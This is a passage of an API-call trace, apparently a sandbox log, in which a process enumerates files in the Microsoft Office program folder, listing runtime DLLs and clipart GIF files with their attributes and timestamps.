dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1 [0216.807] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1 [0216.808] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0216.808] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0216.808] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0216.808] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0216.808] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1 [0216.808] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0216.808] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0216.808] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0216.809] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0216.809] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0216.811] GetProcessHeap () returned 0xc10000 [0216.811] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0216.811] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0216.811] GetProcessHeap () returned 0xc10000 [0216.811] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0216.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0216.814] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.814] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0216.814] GetProcessHeap () returned 0xc10000 [0216.814] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0216.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0217.588] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 